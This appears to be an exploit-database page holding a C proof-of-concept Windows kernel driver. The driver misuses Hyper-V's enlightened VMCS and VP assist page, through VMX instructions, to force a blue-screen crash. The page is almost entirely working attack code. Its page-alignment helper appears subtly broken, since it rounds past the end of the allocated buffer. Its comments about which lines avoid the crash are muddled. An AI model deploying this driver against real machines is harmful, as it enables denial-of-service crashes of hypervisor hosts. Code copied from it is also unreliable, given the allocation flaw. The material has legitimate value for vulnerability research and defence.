4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / hypervenlightments.c C
#include "hypervbsod.h"

//
// thanks to Hypervisor from scratch project (developed by @Intel80x86) to provide some piece of driver code examples:	
// https://github.com/SinaKarvandi/Hypervisor-From-Scratch/tree/master/Part%208%20-%20How%20To%20Do%20Magic%20With%20Hypervisor!/Hypervisor%20From%20Scratch/MyHypervisorDriver
//


PVOID AllocatePageAlignedMemory(ULONG64 size)
{
	PHYSICAL_ADDRESS PhysicalMax = { 0 };
	PVOID pBuffer = NULL;
	UINT64 AlignedBuffer;
	
	PhysicalMax.QuadPart = MAXULONG64;

	pBuffer = MmAllocateContiguousMemory(size + PAGE_SIZE, PhysicalMax); 

	if (!pBuffer)
		return NULL;

	RtlSecureZeroMemory(pBuffer, size + PAGE_SIZE);

	AlignedBuffer = (BYTE*)((ULONG_PTR)((UINT64)pBuffer + size + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1));

	return (PVOID)AlignedBuffer;
}

BOOLEAN FillBuffer(PCHAR buffer, ULONG64 len, CHAR symbol)
{
	for (ULONG i = 0; i < len; i++)
	{
		buffer[i] = symbol;
	}

	return TRUE;
}

BOOLEAN HvActivateVpPages()
{
	PHYSICAL_ADDRESS physAddr;
	IA32_VMX_BASIC_MSR VmxBasicMsr = { 0 };
	int Vmxon = 0;
	PVOID pVmxon = NULL;
	PHV_VP_ASSIST_PAGE pHvVpPage = NULL;
	UINT64 physHvVpPage = 0;

	//
	// Enable VMX operations
	//

	ArchEnableVmx();

	//
	// Allocate VMXON region
	//

	pVmxon = AllocatePageAlignedMemory(PAGE_SIZE);

	if (!pVmxon)
	{
		DbgPrint("VMXON region allocation failed\n");
		return FALSE;
	}

	physAddr = MmGetPhysicalAddress(pVmxon);

	VmxBasicMsr.All = __readmsr(MSR_IA32_VMX_BASIC);

	*(UINT64*)pVmxon = VmxBasicMsr.Fields.RevisionIdentifier;

	Vmxon = __vmx_on(&physAddr.QuadPart);

	if (Vmxon)
	{
		DbgPrint("Executing Vmxon instruction failed with status : %d\n", Vmxon);
		return FALSE;
	}

	//
	// Allocate HV_VP_ASSIST_PAGE for specific processor
	//
	
	pHvVpPage = AllocatePageAlignedMemory(PAGE_SIZE);

	if (!pHvVpPage)
	{
		DbgPrint("Hyper-V VP page allocation failed\n");
		return FALSE;
	}
		
	physAddr = MmGetPhysicalAddress(pHvVpPage);
	physHvVpPage = physAddr.QuadPart;

	//
	// Set PFN of VP page and Enable it
	//

	VIRTUAL_VP_ASSIST_PAGE_PFN guestPFN = { 0 };

	guestPFN.PFN = physHvVpPage / PAGE_SIZE;
	guestPFN.Enable = 1;

	//
	// Allocate enlightened VMCS
	// 

	PHV_VMX_ENLIGHTENED_VMCS pEnlVMCS = AllocatePageAlignedMemory(PAGE_SIZE);

	if (!pEnlVMCS)
	{
		DbgPrint("Hyper-V enligthened VMCS page allocation failed\n");
		__vmx_off();
		return FALSE;
	}

	physAddr = MmGetPhysicalAddress(pEnlVMCS);
	UINT64 physHvEnlVMCS = physAddr.QuadPart;

	//
	// Configure enlightened VMCS. If we write to HV_X64_MSR_APIC_ASSIST_PAGE after configuring, we get BSOD
	//

	//DbgBreakPoint();

	pHvVpPage->EnlightenVmEntry = TRUE;
	pHvVpPage->CurrentNestedVmcs = physHvEnlVMCS;

	//FillBuffer((PCHAR)pHvVpPage, PAGE_SIZE, 0x11);
	//__writemsr(HV_X64_MSR_APIC_ASSIST_PAGE, guestPFN.AsUINT64);

	//If next 2 string will be uncomment, BSOD will not be generated.

	//pHvVpPage->EnlightenVmEntry = TRUE;
	//pHvVpPage->CurrentNestedVmcs = physHvEnlVMCS;

	//
	// Prepare to vmlaunch
	//

	int Vmclear = 0;
	Vmclear = __vmx_vmclear(&physHvEnlVMCS);

	if (Vmclear)
	{
		__vmx_off();
		return FALSE;
	}

	__vmx_vmlaunch();

	__vmx_off();

	return TRUE;
}